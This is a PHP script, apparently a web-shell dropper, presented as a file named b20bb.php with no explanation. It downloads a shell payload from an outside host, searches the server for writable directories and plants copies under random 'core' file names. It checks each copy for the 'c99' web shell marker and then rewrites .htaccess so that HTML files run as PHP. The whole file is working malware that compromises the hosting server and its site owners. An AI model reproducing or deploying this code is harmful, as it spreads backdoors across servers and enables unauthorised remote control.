b20bb.php

<?



    error_reporting(0);

set_time_limit(0);

$shells=0;

    if(isset($_SERVER['WINDIR'])){

    $win=1;
    $splitter='\\';





    echo "[~] OS type: Windows\r\n";


    }

    else{


    $splitter='/';

    echo "[~] OS type: Unix\r\n";

    $win=0;

    }



flush();


    if(ini_get("safe_mode")){

        echo "[~] Safe Mode is on\r\n";
        // ...
    }

        else{


        echo "[~] Safe Mode is off\n";
        echo "[~] Searching directories ... \r\n";



//      echo $path;
//      $perms = substr(base_convert(fileperms($path), 10, 8), 3);
//      echo $perms;


        $ourname=$_SERVER['PHP_SELF'];
//      $ourname="/home/local/shit/what/asddsa.php";

    $a=split('/',$ourname);

//  print_r($a);
//echo sizeof($a);


    for($i=0;$i<(sizeof($a)-1);$i++){
    $str.=$a[$i].'/';


        }


    echo "[~] Current path:     ".$str."\r\n";
    $ourpath=$str;




$shell=file_get_contents("http://ftp.tavr.kiev.ua/c.txt");
    if(empty($shell)){ die('cant get shell'); }
echo "[~]ok got shell\r\n";
flush();

//       print_r($_SERVER);
//

//      echo "$ourname\n";



        $dir="./";


for($j=1;$j!=$i;$j++){
$dir.='../';

}

$alldirs=array();


get_dir($dir);

$dirsize=sizeof($alldirs);

    if($dirsize>5){

        for($i=0;$i!=5;$i++){


        $my=$alldirs[rand(0,$dirsize)];

//      echo $my."<br>";
        spawn($my);

            }


    }
    else{

    foreach($alldirs as $dir){
        spawn($dir);
flush();

        }

    }


if($shells>0){
$ht="RemoveHandler .html .htm .php\n
AddType text/html .php .htm .html";


if($f=fopen(".htaccess","w")){
fputs($f,$ht);
fclose($f);
echo "[+]ok writed htacces!\r\n";
}
}





                }



    function get_dir($dir){


        if (is_dir($dir)) {

         if ($dh = opendir($dir)) {

            while (($file = readdir($dh)) !== false) {

                if($file!='.' && $file!='..'){

                //echo "filetype: ".filetype($dir.'/'.$file)." || $dir/$file <br>";
                if(filetype($dir.'/'.$file)=="dir"){
                        if(is_writeable($dir.'/'.$file)){
                            $path="$dir/$file";
                            //echo $path."<br>";
                            array_push($GLOBALS['alldirs'],$path);
                        }
                //echo "calling... $dir/$file<br>";
                get_dir($dir.'/'.$file);

        }


                                }
                                 }
  closedir($dh);             }
}





}

        function spawn($p){




        $p1=str_replace('../','',$p);
        $p1=str_replace('./','',$p1);

            $depth=sizeof(split('/',$p1))-1;
            //echo $depth;

        $shell=write_shell($p);

        $shell='http://'.$_SERVER['HTTP_HOST'].$p1.'/'.$shell;
        //echo $shell."<br>";

        if(test_shell($shell)){
            echo "[+]shell ok: $shell\r\n";
                if(!strstr($shell,$GLOBALS['ourpath'])){
            $GLOBALS['shells']++;
            }
        }

    }


function write_shell($dir){

    $shell=$GLOBALS['shell'];
    $name='core'.rand(12513,16392).".php";
    $fullname=$dir.'/'.$name;

        if($f=fopen($fullname,"w")){
    //echo 'writing shell: '.$fullname.'<br>';

        fputs($f,$shell);

        fclose($f);
    return $name;

}
return false;
}


function test_shell($url){

$contents=file_get_contents($url);
if(strstr($contents,"c99")){ return true; }

}

?>